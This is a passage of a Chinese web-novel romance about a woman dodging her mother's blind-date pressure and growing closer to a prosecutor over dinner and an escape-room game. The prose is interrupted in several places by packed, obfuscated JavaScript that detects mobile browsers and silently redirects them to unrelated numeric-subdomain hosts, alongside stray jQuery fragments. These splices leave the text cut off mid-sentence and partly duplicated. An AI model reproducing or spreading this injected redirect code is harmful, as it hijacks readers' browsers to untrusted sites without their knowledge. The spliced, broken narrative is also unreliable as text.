“爸应该也是被骗了。你也知道有的人就喜欢当面一副面孔背后又是另一副。”黎姝一见要殃及池鱼，连忙捞黎爸替他开脱。 苏琴还是气，骂了好一通:“算了，相亲的人选还是等妈帮你多问问，这个不行咱们再见其他。” 她希望女儿能早日成家，但对方人品不好也是不行的。 “还要见啊？” 黎姝闻言吓了一跳，赶紧用上之前就准备好的说辞表示被伤到了暂时不想再相亲。 苏琴心疼女儿自然没有怀疑这话的真实性，也怕她又逆反，便同意了下来。 然而不过两周，她就又开始催黎姝相亲了，甚至比之前更丧心病狂。觉得上次失败就是因为选择少了，天天给她推好友。 又收到备注“王阿姨介绍来的”的好友申请，黎姝都快麻了，十分心累。 她将手机倒扣在桌面上，倍感心累地后靠着座椅叹息惆怅。 方馨冉剥着橘子皮：“要我说你想一劳永逸断了苏阿姨的念想还是得有个男朋友。” “我能不知道吗？问题是我哪儿来的对象。”黎姝伸手要来一半，掰一掰塞嘴里，见她张嘴要提建议，说道，“如果是找人假扮啥的就免了哈，风险太大。” 在第一次面临苏琴催婚的暗示时她就想到这招了，当时她中意的合作对象是农业科一位同事的哥哥。人长得还行，跟她说话的时候也不会开冒昧的玩笑，虽然追她但也不会像其他的一样死缠烂打。 她对他的感官还行，于是就跟他开了口。 一开始说得很清楚，只是在她父母面前做做戏。不料她还没来得及和家里说，就被同事□□渐渐超出界限的行为给搞膈应到了。后面更是被缠了好一阵子。 黎姝非常抵触。 “我能不知道吗！”方馨冉没好气地斜了她一眼，嫌弃地啧一声，直点主题，“我指的是陈大帅哥。” 暗示道:“他不就是现成的人选吗？” 10. 第 10 章 10 夜色如水，灯红酒绿的天水街到处充斥着喧嚣热闹，矮桌上的仿真煤油灯火苗摇曳着微弱的暖光，有蛾扇着翅膀围着玻璃罩打转。 黎姝手腕闻之一抖，平静的心湖因着这熟悉的名字搅起了一圈圈涟漪。 她目光落在盘旋飞舞的蛾上，轻手挥开飞蛾说:“别想了，他就更不可能。” 一个她随口说句“没钱”都能被曲解成赌博，继而翻出一堆法律法规来给科普的人。假扮男友这种弄虚作假的事她有胆子提一个字，下场绝对“诈骗罪”警告。 光想象一下画面她就已经萎了。 黎姝:“你的建议很好，下次别提了。” “你闭嘴，能不能听我先把话说完。”方馨冉横了她一眼示意别插嘴。 黎姝在嘴边做了个拉链条的动作，双手做你请讲。 方馨冉继续:“假扮确实不太靠谱，但如果是真的就不一样了。” “什么意思？” 方馨冉一脸朽木不可雕的嫌弃，直戳要点：“意思就是你加把劲拿下他，做真情侣。不就没问题了？” 黎姝:“？？” “你想啊反正找人假扮男朋友不仅费时费力，搭上人情不说，有被赖上的风险。既然如此干嘛不直接追一个。反正你对他也有好感。” “长得帅人品好家世干净自己还是公务员。这样的条件还单身真的不多见哦。”她逐条分析，循循善诱，“认真考虑一下，过了这个村，下个店还能不能遇到这么合适的可得打个问号了。” “心动不如行动，先下手再说啊。” “……” 黎姝被她说得一愣一愣的，心绪浮动，“你怎么跟超市推销大白菜似的。” “还不是这大白菜安逸，我不忍心你错过后悔。”方馨冉白眼，颇为苦口婆心地支招，“主动点发个消息聊聊天，再吃个饭，一来二去不就成了。” “……” 黎姝盯着杯子，大拇指摩挲着把手，抬眸说：“你怎么知道我没主动过。” 方馨冉表示质疑:“比如？” 黎姝思索了半响，一脸认真地回答：“朋友圈点赞。” “？” “还有王者送金币。” 方馨冉:“……” 她忍不住，白眼翻了一圈又一圈，橘子皮丢她，“少讲点笑话，还没到开空调的时候。” 黎姝：“……” * 隔天还要上班，黎姝喝了两杯就回去了。 初夏夜躁，明月当空，街道旁的行道树上抽出的新叶柔软在微风中可爱的晃荡。 她下车在马路边等绿灯。 旁边有个女生在打电话。从她只字片语控制不住情绪的失控回话里黎姝听出又是一位饱受催婚的可怜人，不禁生出点同病相怜的同情。 绿灯亮起，穿到对街走了几分钟，快听不到由于距离拉长的女声才猛然想起来晚上王阿姨介绍的新相亲对象好友申请还没通过。 难怪总觉得还有什么事没做。 她赶紧拉出申请，添加过后也没发消息过去寒暄，打算等过几天两天再不知不觉把删了，免得又被妈妈批斗。 到家后，她给手机充上电便去浴室洗澡了。 晚上喝了两杯，虽然没必要但怕头疼洗完澡出来后她还是拆了包酸奶解酒，坐上床看消息。 方馨冉转载了小地瓜上几篇高点赞笔记。 标题都清一色搞得挺有噱头。 第一篇：“别再傻乎乎只会和crush尬聊了，五十个约会项目码住” 第二篇：“拿捏男朋友的十个小妙招” 第三篇：“一招让crush持续上头” 第四篇…… 一共七篇，她还附言：给我逐字逐句好好学，一天一篇，回头抽查！ 黎姝：“……” 此刻她的无语震耳发聩，无语又好奇地点开第一篇，被开头文案一记爆锤捶得更沉默了。 ——“是谁和crush还只会朋友圈点赞、暗戳戳送游戏金币？醒醒吧姐妹时代已经变了……” “……” 有被点名羞辱。 她退出来刚想和她来场掰头，一条陌生的简讯率先弹入眼帘。 【怎么不说话，还害羞吗/狗头】 ？ 什么鬼？ 黎姝一脸莫名，点开发现是王阿姨介绍的那个相亲对象，更加茫然，手指拨动着往上划翻聊天记录，越看越迷惑。 添加好友后不久他估计发现通过了，正常打了几句招呼，因为她没回复便也没继续发。一直到十分钟过后突然发了张照片。 是她三天前发在朋友圈、和同事喝茶的合影。 【你和你朋友都长得挺漂亮哦，哪个是你？】 【王阿姨和你说没有，其实我长得也很帅】 发了张自拍【这张随手拍的，但也还行吧？】 后面一整个屏幕都是他的跟王婆卖瓜似的自吹自擂，最后便是那句离谱的反问。 弄清原由的黎姝:“……” 怎么又是个奇葩，就不能来个稍微正常的男的？ 黎姝酸奶都喝出了油腻，她丢掉盒子，要不是怕又被告状遭骂，三天不理不睬原则拒不做反应免得他自我高潮。 吹完头发还是忍不住发了朋友圈:妖魔鬼怪快离开[微笑微笑] 很快，评论下很多点赞和关心的询问。 引起她发这条动态的罪魁祸首还在雷区蹦迪，评论问她要不要打电话跟他讲。 黎姝：“……” 她浑身起鸡皮疙瘩，删了动态，退回去找方馨冉:【你说得对】 方馨冉:【？】 黎姝:【明天我去挑白菜】 【你说我是约他吃饭好还是看电影好？】 * 然而总有意外打破计划。 第二天开始一连三天，因为弄材料别说下班约人吃饭，能准时下班都成了奢侈。 周三黎姝坐在电脑前审核着各科室移交上来的材料。都提醒过几次了有个别还是会在同一个问题上反复出错，搞得她火大。 中午去吃饭时，路上群里都还有人在艾特她问怎么改。 她直接回复看群通知，上面有模板，然后便不再回了。 到食堂时不算早，但这会儿打饭的人也不多。还在打饭窗口碰上了她们预算科的林科长。他旁边还有其他几个部门的领导。 林科长是个年过四十三的中年，平素里总是挂着一副笑容乐呵呵，看见她们几个人，诧异道:“怎么这点才来吃饭？” 有同事说在弄材料忘了时间。 “还是老林手底下的人能干，不像我们科那几个年轻人，懒得很。”农业科某位领导捧场说道，又望向黎姝，拿腔拿调，意有所指，“就是小黎这个效率不太行，我们科的预算调整到现在都没个回复。” 黎姝打哈哈：“主要是最近事情确实比较多，回去我尽快处理。” 他满意得点头:“要尽快啊，我们科都等着呢。你要理解下，没这笔钱接下来我们工作很难开展的。” 黎姝依旧堆着笑说场面话应付。 那位领导又继续点起其他人，还是林科长在旁帮着搭腔打才揭过去。 等他们几个领导打饭走远些，有同事才忍不住小声吐槽。 “一天天的就知道为难我们这些小卡拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在检察院门口接受完安检，刚拿回手机往里面走的时候许琳的电话响了。 “已经到了，在门口安检……办案楼一楼301是吧？哦好的……马上就到。” 一分钟后她挂掉电话，进入院内，顺着安保讲的路线找过去拾级而上。一进大厅，一位穿着检察官制服的年轻男子就迎了过来。 “许琳许女士吗？” 许琳说：“我是。” “我是给你打电话的书记官小杨。”小杨自我介绍着，领着她们去办案区，“这边走。” 他带着两人穿过走廊推开询问室的门，用纸杯接了两杯温水招呼她们坐下，“先坐下喝点水吧。陈检还有点事处理，需要稍等几分钟。” 许琳说好。 而黎姝听到办案检察官的姓氏，坐下的动作顿了顿。 chen检？哪个chen？ 她心说不会真这么巧吧，下一秒随着询问室的门被再度打开，她下意识望过去和书记官嘴里的“chen检”四目相对。 “……” 陈叙州见到沙发上坐着的熟悉面孔也是一怔，眼中闪过抹诧异转眼又恢复平淡。 他合门进来，示意许琳不用起身，转而看向同样惊愕的黎姝，眉尾微挑，“你是？” 黎姝回神，以为他是在问她为什么会出现在检察院，哦一声，解释道:“我和许琳是同事，陪她过来的。” 说完见他一直盯着自己，歪了下头，犹疑仰问。 “怎么这样看着我，是我在不方便，需要回避吗？” 11. 第 11 章 11 她微仰起头疑惑地望着他。乌黑的头发顺着贴在脸颊两侧，刘海蜷曲，衬得那张过于漂亮的脸蛋越发妩媚艳丽。 陈叙州脑海中浮现出早春盛开的野山茶，明艳脱俗。 他提公文包的手掌收了收，目光微顿，喉结上下滚了滚，语调平常：“这个要看当事人意见，她没意见就可以不用回避。” 许琳赶紧说没关系：“我不在意。” 陈叙州淡嗯，回黎姝:“那就不用。” 他走至办公桌边放下公文包，正要取卷宗，回眸瞥见两人坐在沙发上，动作停顿，尔后重新拾起公文包压在椅子靠背上连同椅子一起提起。 厚重的实木椅轻松得像一把塑料被他轻而易举的单手抓起，放在茶几另一侧，坐下。 刚打开笔电的书记官小杨见状也换位过来。 “你是许琳女士是吧。你好” 陈叙州将卷宗和笔翻出来，开门见山进入正题，声线清淡公办，“小杨应该跟你讲过，今天叫你过来主要是想了解一下你男朋友犯xx的情况。” “前男友。”许琳纠正说，“我和他在一个月以前就已经分手了。” “方便询问下分手原因吗？” “也没什么好讲的其实……” …… 下午余温热量堆积，室里又拉着窗帘，即使开了空调，整个房间还是显得沉闷。 许琳叙述着和前男友从认识到分手的故事，听得黎姝叹为观止直呼好家伙。 许琳那个前男友之前来财政局接她下班的时候黎姝见过。很普通的一个人，无论是时从身高长相还是别的都很一般，唯一出挑的地方就是会说话。 单元里见过他的同事私底下虽然也替许琳惋惜，觉得对方配不上她，但至少男的看上去挺老实的，结果这货到处骗钱就算了还同时勾搭了几个女生。 真是应那句老话：池浅王八多，庙小妖风大。 不管帅的丑的，十个男的九个烂！ 黎姝心底怒骂的同时，不禁抬眼望向对面的陈叙州。 他身子倾向许琳的方向在询问诉求。椅子只坐了前半部分，短袖的蓝衬衣下摆被严实扎进裤子临，腰带紧实。一双包裹在西裤里的长腿越过茶几，修长笔直。 放在膝盖上的双手手背青筋明显，指间夹着的水性笔时不时会随着询问或者回应轻转一下，沉肃中带着一点放松。 多看一眼都赏心悦目。 黎姝气愤的心情不由平静下来，忽然，她的目光顿在他右手上。 随着做记录他的手臂抬起又落下，露出藏在手臂内侧靠近肘关节处的长疤。 食指般长度，切口平整，上面的结的痂已经脱落呈现出比肤色稍浅的后生皮。看样子是个旧伤了。 以往碰面他都是穿着长袖，加上伤疤藏在手臂内侧、位置隐蔽若不仔细点还真发现不了。 她盯着那处旧伤端详了下，心中不禁好奇。 那么大一个口子，切口平整顺畅，像是很锋利的刀刃一刀顺口划开的。她大学时有个室友手上也有过类似的伤口。据说是在家切菜时不小心切到的。但是他这个从位置不可能会是自己动的手，并且愈合后的情况来分析对方用的力道是故意的。 也不知道是多大的仇，下这么狠的手。 可能是她视线太过明目张胆，伤疤的主人有所察觉，停笔侧目扫过来。眉尾轻吊，茶色瞳眸无声询问。 黎姝惊得长睫颤了颤，随即扯唇微笑笑着轻点头表示没什么。 陈叙州挑眉，转回目光，继续刚才的话题:“所以你并不知道他同时和其他女生有关系？” 许琳点头说是的。 “刚才听你说你们是相亲认识的？” 许琳:“我大姑的朋友介绍的，各方面条件都可以就谈上了。”说到这她有些苦涩，“家里催得紧，本来是计划今年年底结婚的。结果就现在这样了。” 她苦笑:“到现在家里人还不知道我和他分手了。” 黎姝伸手揽住她的肩膀安慰道：“你该庆幸分了，不然这种男的真结婚了以后才有你哭的。” 陈叙州闻言看了她一眼，收回来别有深意地说:“现在的相亲市场上质量良莠不齐。多的是像犯某这样包装成精英人士，利用女性着急嫁人的心理下手进行行骗的不少。平时接触的时候得自己多个心眼，多观察才能警防被骗。” 黎姝:“……” 话是说得挺好的，但她怎么感觉他这话是对她说的呢？ 该了解都问得差不多了，便结束了询问。陈叙州合上案情卷宗，收起纸笔说：“今天就先这样吧，后面有什么进展我再联系你。” “麻烦你了。”许琳起身道谢，犹豫问道，“陈检察官，他大概什么时候开庭？” “尽量这一个月内吧。”他不敢把话说得太满思索着给出一个期限，收拾文件放进包里，抬手看了眼腕表说:“我送你们出去。” 许琳惊了惊，啊，“不麻烦了吧？” 黎姝意外地同望过去。 陈叙州坦然地接受她的审视，神色从容：“没事，正好还有几个问题。” 嘱咐小杨把垃圾收一下，率先迈出了询问室。 日光偏移，浮光射不进走廊，只在窗台前落了一小片金色。 办案区到大厅的距离不长，走廊安静，通道两侧都是各式各样的办公间，楼道里落针可闻。 黎姝和许琳并排走在后面。 走过两三间办公间，忽然，他侧身蓦然开口：“这个点还没下班，翘班来的？” 许琳：“？” 是在问我吗？ 她错愕一愣，张嘴刚欲回答就听到旁边的黎姝回答说：“咋滴，你不会想举报我吧？” 语气玩笑，带着几分熟稔。 陈叙州低眸勾笑，话语里有种事不关己的懒散：“我们是检察院不是市纪委，你是上班迟到还是早退都不归我们管。” 眯眼注视，放缓语速，漫不经心的:“原来我在你这里是这种形象。” “开个玩笑嘛。”黎姝哈哈，叉开话题，谈起刚才，“话说原来你们检察官工作是这样的……” 她侃侃而谈，而旁边许琳则迷茫了。 她看看这个再看看那个，视线在两人身上来回，惊讶地拉拉黎姝：“你和陈检察官认识啊？那你们个之前怎么还装不认识？” 黎姝啊，困惑反问:“有吗？” 陈叙州也挑眉，同样不解。 许琳:“办公室里陈检不是问你是谁来的吗？” “？” 还有这层解读？ 黎姝失笑，说自己的理解：“我以为是问我怎么会在检察院。”向陈叙州求证，“对吧？” “说起来，我来的时候还在想会不会碰上你，没想到这么巧你竟然就是办案人。” 陈叙州望着她脸颊上因为笑容而浮现的小梨涡，不置可否：“我也不知道你是许女士同事。” 更没想到她会跟陪着来检察院接受询问。 葳蕤的日光强势地从落地窗大门落占大厅，光线刺眼。 黎姝眯了眯眼，想到之前的决定，主动出击：“既然这么巧，那陈检愿不愿意给个面子晚上一起吃个饭，让我还个账啊。” 他挑眉，唇角轻带，一本正经地说：“陈检上班期间不聊私事。” ？！ 黎姝瞠目，难以置信：“你不是吧——” 还没说完就听到他继续道：“今天有点忙，不知道什么时候结束。” 黎姝余下的吐槽咽回去，丝滑改口，“那等你下班了我再问啊。” 他模拟两可地笑了笑，在门口站定，转面向她告别:“就送到这儿了，回去慢走。” “……” 黎姝抬头一看。 哦，已经到办案楼门口了。 出了检察院，先是去附近奶茶店给科室的几位同事买了奶茶才打车回单位。 车上许琳不太好意思地让黎姝保密今天的事，表示她暂时不想变成别人茶余饭后的谈资。 黎姝自然明白，让她放心。 说定之后许琳明显放松不少，都开始八卦起了陈叙州和她的关系，被黎姝四两拨千斤打哈哈混了过去。 回到科里，前脚刚把奶茶给同事分了，后脚办公室的人就过来通知开临时会议，都必须到场。 去会议室的路上，许琳悄悄和黎姝嘀咕回来得好及时。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641178|156437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黎姝默默附和，可不是吗，翘了一下午班差点在最后关头被逮。 会议开了半个小时，结束时快六点了。一散会，没有工作的怕又被意外拌角匆匆收拾走了。 黎姝关好电脑正准备闪，还没走到楼梯口就被科长叫去办公室谈话，磨磨蹭蹭耽误了十分钟，出来才发现有黎玥的未接电话。 她一边下楼一边回拨电话，没接通，反倒是收到了陈叙州的微信。 【下班了】 黎姝第一时间没反应过来他这三个字代表的含义，问号都打好了才猛然回忆起她在检察院大厅说的话。 又一条信息。 【我过去接你？】 黎姝删掉问号，客气一下：【会不会太麻烦】 一分钟后 陈叙州：【想要吃白食，付出是应该的】 潜意思是：确实麻烦。 “……” 不是，一般男的不都会绅士地说顺路吗，他这么直？ 黎姝眼皮一跳，有点难以置信，为自己默默点了根“蜡”，看来她隔的这层纱是铁布衫不好掀开。 她思索过后回了个单位地址。 陈叙州:【我过去需要一点时间，你可能得多等会儿】 黎姝:【好的。】 有人来接，黎姝也就没急着去赶地铁，干脆就去附近的霸王茶姬外面坐等。 十来分钟后，他发消息来说快到了。 收到消息黎姝边回他边起身往马路边走。等了大概一分钟，黑色suv停在面前，车窗降下来，露出他优越的脸庞。 右边有滴滴的喇叭声响起，黎姝踏出去的脚步收回来，等电瓶车驶过了才踩非机动车道过去，去开后车门坐上。 陈叙州透过后视镜看她，煞有其事地说：“请问是手机尾号1234的黎女士吗？” 黎姝啊，反应过来配合说：“不是，我尾号是4321。” 夕阳压在地平线上，金色的蛋液稀释在街道路面上及挡风玻璃上，暖光迷眼。 陈叙州手握着方向盘上指腹摩挲着盘套，眉梢一提，透过后视镜望向她，发出疑惑的单音节，“嗯？接错了？” 打燃的车佯装熄火，黎姝道：“我赶时间，师傅麻烦你通融通融，我给你加钱。” 陈叙州好奇问:“加多少？” 黎姝抬眸在后视镜里对上他的视线，按下心惊说:“一毛。” 陈叙州:“……” 他失笑一声，发动车辆，悠悠评价:“真大方啊。” 因为之前没商量过，车上临时决定的，就着前开选了最近的景区。吃的多，选择面也广一些。 车子停在后巷，比起前巷的拥堵，后巷大多都是本地人，相对没那么热闹，但烟火气更盛。 他们选了家网上风评还不错的小菜馆。吃过饭，时间还早，黎姝提议去逛逛。 夜色笼罩，街灯渐次亮起，璀璨辉煌如白昼。几条小巷里人头攒动，还随处可见穿着汉服或者民族风衣服拍写真的游客和摄像师。 还有开酒馆餐馆的吆喝声不绝，到处都是拉客声，喧闹嘈杂。 穿过小巷走入主街，更热闹了。有几个年轻的男生手上拿着卡片在问过路的游客。 “剧本杀，剧本杀玩不玩？” 看到黎姝和陈叙州，其中一个眼睛一亮，许是觉得有希望，三两步迎上来，“帅哥、美女，玩剧本杀吗？” 他径直走到黎姝前面，挡住她的路。 黎姝垂眸看到递到眼前的传单，上面印着店的logo和几个剧本玩法和介绍。 她启唇刚想拒绝，陈叙州手伸到她前面拒绝道:“不玩，麻烦让让。” 他推拒开男生伸过来的手，换到另一侧来，低头说:“走吧。” 熟悉的气味萦绕上鼻尖，迷得黎姝心间跳动恍漏了拍，心绪转瞬即逝的悸乱。 被拉着走了几步，她才回神，目光落在他松开后残留着余温的手上，目光微闪，反手扯住他。 感受到牵拉阻力，陈叙州前行的脚步停滞，疑惑回视。 “怎么了？” 黎姝给他一个“稍等”的眼神，随后转头去问发传单的男生:“有密室吗？” 12. 第 12 章 12 剧本杀风口盛行那段时间里，她被方馨冉拉着凑人头玩过几次，对于这类推理的桌游也不能说毫无兴趣只能说一般。 相反，对于解密逃脱类的密室倒是颇为心动。最重要的是她记起之前翻过的那七篇高赞笔记里提到的有一条不管是约会还是促进感情升温，“一起玩密室”都是不二选项。 问完小哥，黎姝跃跃欲试地扭头问：“时间还早，玩一局再走？” 陈叙州视线从她的脸上落到她抓着衣袖的玉手上，眼眸微闪。 听到询问，他收敛起情绪面色如旧从容，掀起眼帘尾调轻扬，疑惑“嗯？”了声。 黎姝以为是可以的意思，看向小哥。 见生意来了，小哥连忙说:“有有有。你想玩什么？我们这儿有十大主题，医院学校博物馆……多人团或者两人组都有。解密逃脱，紧张刺激。” 他再度凑上前来推销，“美女想玩哪类？” 宣传单正面是剧本上，而背面是密室。有纯解密、纯逃跑的简单型。也有混夹恐怖等其他元素的复杂类逃脱。 黎姝接过递上来的传单，扫了几眼递给旁边的陈叙州，问费用。 小哥根据不同本说了个价格范围，稍微都有点小贵，她有点犹豫，和小哥讨价了一番。 拉扯过后终于以一个舒服的价格说定，跟着小哥走。 密室屋的楼梯间有点狭窄，堪堪容两个人并肩。小哥在前面带路，黎姝和陈叙州一同走在后面。 拐上转角时陈叙州侧身让她先上去，笑说道:“不问下我意见就决定了？” “啊？”黎姝歪头，神情迷惑，“你刚不是嗯了吗？”而且还跟着上来了。 陈叙州:“有没有一种可能我发的是‘嗯？’”他在尾调上扬重复了之前的语气，好整以暇说道:“表示疑问的意思。” “？” 黎姝脚下差点踩空，停在台阶上侧身，借着台阶的高度与他平视上他略带戏谑的眼神。 她顿时无语，轻抿唇瓣，视若无睹地哦了声继续往上走，“那怎么办？你不早点提醒我，现在人家都带我们上来了。也不好意思拒绝了，要不你克服一下吧。” “下次再有类似的情况不要哑着不作声了。”边走边说，锅甩得干干净净，“我也不是你肚子里的蛔虫，态度太含糊会分不清的。” 陈叙州瞅着她越走越快的步伐，冷凌的眉目舒展，唇角挂了丝兴味。 看似句句为他着想，实则半分也不见犹豫，丝毫不给他出口拒绝的机会。 他失笑，只得信步跟上。 上到二楼的密室俱乐部视野豁然开朗。和狭窄的楼梯不同，俱乐部的会客厅则宽敞得多，被分成好几个区域。店内灯光明昧参半，布置炫酷。 等候区客人挺多的，放眼望去客厅满满当当，而且清一色都是年轻人。 两人跟小哥去前台购票。 忽然，一个穿着jk的、染着漂亮的绿色长发身材很纤细的女生走过来和黎姝小声打招呼：“姐姐你们也是来玩密室的吗？那要不要跟我们一起啊？我们这边七人团还差两个人。” “是。”黎姝回答她第一个问题，随后谢绝邀请，指指前面带路的小哥示意他们是他带来的，“不好意思。” 女生也明白她这样中途抢客的行为不太好，却还是跟上来和前台商量可不可以让他两加入他们的团。 密室的老板也在，听完表示无论只要是店内的本，跟哪个团都无所谓，客人自己选择。 女生再度向黎姝二人询问。 反正都是玩，和谁都没差别，黎姝问：“你们玩哪个主题？” 女生说：“《无声岛的信号》” 《无声岛的信号》根据现实案件改编。讲述十年前在一所戒网瘾学校里发生的故事。 凡是进入这里的学生都得无条件听从老师和校长的话。如果不从就会得到一顿毒打或者关小黑屋，直到不再有异议像只小绵羊只懂乖顺。 外界无法得知里面的情况，所以又叫无声岛。 直到在一个平凡的夜晚，有八名学生实施了逃跑，却都离奇消失了。 事情发生后戒瘾学校也被爆出虐待学生遭查封，所有的学生都得到了解救，但那八个学生始终没有下落。玩家的任务就是回到过去还没有废弃的学校，以转校生的身份调查学生失踪的真相并找到定罪的证据。 因为曾经有学生受不了虐待自杀身亡，除了追捕还加有惊悚等恐怖元素。 黎姝之前在视频软件上扫到过同题材的过关切片，闻言有几分意动。 她偏头询问陈叙州问:“你觉得怎么样？” “问我？”陈叙州挑眉。 黎姝嗯，言辞振振回道:“这回可别说我没问你意见了啊。” 陈叙州顿了顿，低笑出声:“记性还挺好。” 在科室多年，黎姝早就练就了一身装聋作傻的本事，假装没有听出他话里的揶揄，微微一笑，二次询问。 陈叙州翕了翕唇，刚欲开口，又一个男生走过来，应该是女生的同行，也加入说服的队伍。 “其他的密室本还需要排队，我们这个马上就到了。而且人多票价还便宜。帅哥美女，考虑一下？” 除了二人和四人组的按人头外，其他密室六到十人都是按副本收费的。 察觉到右侧投来的炽烈视线，陈叙州刻意拖着不做回应。 一秒、两秒、三—— 黎姝忍不住开口:“别想了，就跟他们一起吧。” 预料之中的反应，他回视:“不是要听我意见？” “但是它便宜一百耶。”黎姝轻声辩驳，凑向他，义正词严地说道，“别跟钱过不去。” 说罢径直望向少男少女，转了账，随后去寄存柜存了随身包，陈叙州也存他的长外套，露出里面纯色的长袖衫。 衣服是稍微贴身的款式，下摆勾勒出模特般的匀称玉身腰。 都说美人腰杀人刀，他的腰同样不遑多让。 黎姝忍不住看一眼，多看一眼，再看一眼，看得太频繁最后对上了他询问的目光才讪讪得挪开视线。 去和其他人汇合等候，十分钟后，工作人员叫号。 起身到入口处，工作人员确认过玩家人数开始讲一堆固有开场白和注意事项后便开启了游戏。 进入游戏区，明亮的灯光骤然切换变得红黄纷杂，一群人谨慎地小心翼翼往前走，很快到达第一间密室。 是间教学教室，据说这里藏着一位学姐偷来的能打开学校各个出口的备用钥匙。但是那位学姐后来被告密关了小黑屋，人也疯了。 听说她离开前曾有短暂的清醒下和室友透露的，可惜室友已经被折磨怕了，不敢有其他想法，便将消息散播出去。而钥匙线索就藏在学姐留下来三道题目中。 一群人进入教室后开始查找，很快便从桌肚里，右边墙壁的名人像下以及后黑板上找出了题目。 一看是空间几何和二次函数队伍里有几人当即连连摆手表示看不得一看头疼，丑拒。 几个学生便自告奋勇坐上桌前，读题，看题，写了“解”，两分钟后开始挠起了头皮。 黎姝站在后面看几个人对着一道简单的题抓耳挠腮甚至争论起来，沉默了。 密室是有时间规定的，她忍不住提醒做几何题的男生延长出去做交点，再划中点连接做辅助线。 她说得随意，在叽叽喳喳的争论里并没有引起什么注意，反倒是同她站在一起的陈叙州听到了，张嘴将她说的内容复述了一遍。 解题的男生听到了，恍然地哦了声，信心满满再度提笔，笔尖落到纸上还没划动又迷茫了，抬头，“……哥，辅助线怎么做？” 他腼腆地挠挠头，嘿嘿：“不好意思，忘了我是学渣。” “……” “那你还不快起开！”众人闻言也是无语了一瞬间七嘴八舌吵起来，和他相熟的上前直接把他架起提溜开，请陈叙州，“帅哥，您来！” 帅哥没有坐，而是顺势祸水东引看向身侧的美女，伸手做“请”的动作：“靠你了，全村的希望。” “？” 猝不及防成为希望的黎姝头顶问号，莫名其妙， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14641179|156437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “叫得是你。” “我只是重复你说的话。”他以极其平淡的一副不关己的态度回道。 “？？？” 黎姝瞠目，难以置信他是这样的人，忍不住吐槽：“你好狗啊。” 陈叙州抽开椅子：“加油！” “……” 被“全村”七双超过十四只眼睛盯着，黎姝嘴角微抽，无奈地就着弯腰的姿势接过纸笔解题。接着是二次函数，数列，转眼就算出了答案。 “姐姐你好厉害啊！幸亏有你，不然就我们几个废物可能连第一关做题都不知道要多久。” 重温了番高中知识，黎姝也觉得怀念，闻言也不谦虚，直言道：“小意思啦，怎么说姐姐以前也是竞赛选手。” 听到这话陈叙州转眸看她，长睫下的目光晦涩。 “怪不得做那么快呢，我连题目都看不懂，你看一遍知道答案了。” “学霸就是不一样。” 黎姝应着扯皮，并没有发觉陈叙州落在她身上的 三个数值一个图，看惯了密室视频瞬间就想到了把数值带进坐标轴里，连出来是三个字母——YWS 大家正集思广益准备出去下一个密室时，门外的走廊忽然传来脚步声和一声怒喝。 “是谁在里面！” 糟糕，耽误太久被发现了！ 不知谁喊了声“快跑！”一群人合伙推开后门逃脱检查的保安，往走廊另一边跑，直到被紧闭的铁门拦住。 门上挂着电子锁，需要密码。 铁门高度直抵天花板，毫无翻越的可能，身后的隐隐传来npc的声音。 大家兵分两路分头去找密码。 黎姝陈叙州选的右边，一起的还有之前邀请她们的女生和另一位女生。 楼道里的灯光已经全部拉灭了，几人黑灯瞎火摸进旁边的教室。两个女生吓了一跳。 借着微弱的灯线可以看到桌上和墙上放了许多瓶瓶罐罐，里面泡着各种器官，柜子旁边还立着几具人体模型，在阴暗的环境里显得很是渗人。 黎姝也惊了一惊，没想到进的是间生物标本室，不怪其他两个女生会吓到尖叫。 黎姝抿唇，打量着室内的一切，耳边钻进一道清冽的嗓音：“害怕了？” 她梅开二度，舒了舒气回头，这才发现他竟然就站在她的背后。 两人距离挨得很近，可能是怕她听不见他低了头。说话时吐出的气息像空调风扑在她耳后，温温的，酥酥麻麻。 黎姝缩着脖子下意识往后撤了撤，脚下踩中一团柔软同时，后背也直直贴到了一个结实的胸膛，头顶还有一声几不可闻的轻微闷哼。 “……” 忘了他在后面。 黎姝耳根发热，张嘴道歉，“不好——” 道歉的话被他的手捂了回去。 他的唇几乎贴到耳边用极轻的气音嘘了声，说：“来人了，先别说话。” 黎姝抬起挣扎的手一顿，眨眨眼表示收到，随即又想起现在他应该看不见，于是微点了下头。 陈叙州反应迅速地用另一只空着的手反锁了标本室的门，提醒两个女生躲好的同时也不忘拉带着黎姝挪至门窗触不到的视线死角去。 几乎刚站定，走廊上就响起了保安粗砾的声音和棍棒在地板上拖动发出的“刺啦”。 脚步声愈来愈近，黎姝不由紧张地屏息闭气，静等保安过去。 陈叙州背靠着书架，目光自然地落在黎姝身上。 她目视着门口，头发用一根皮筋简单地扎在脑后，鬓边留下几缕刘海。可能是被外界动静转移了注意力忘了他的手还在她的嘴上，微微仰着头，修长的脖颈扯出一道漂亮的弧度，睫毛卷翘，像即将翩跹的蝴蝶。 开着冷气的密室里温度偏低，连带着他的手也冰凉。从她两瓣柔软唇里呼出的微弱吐息像几千度的铁水灼热得像是要烫穿他的手。 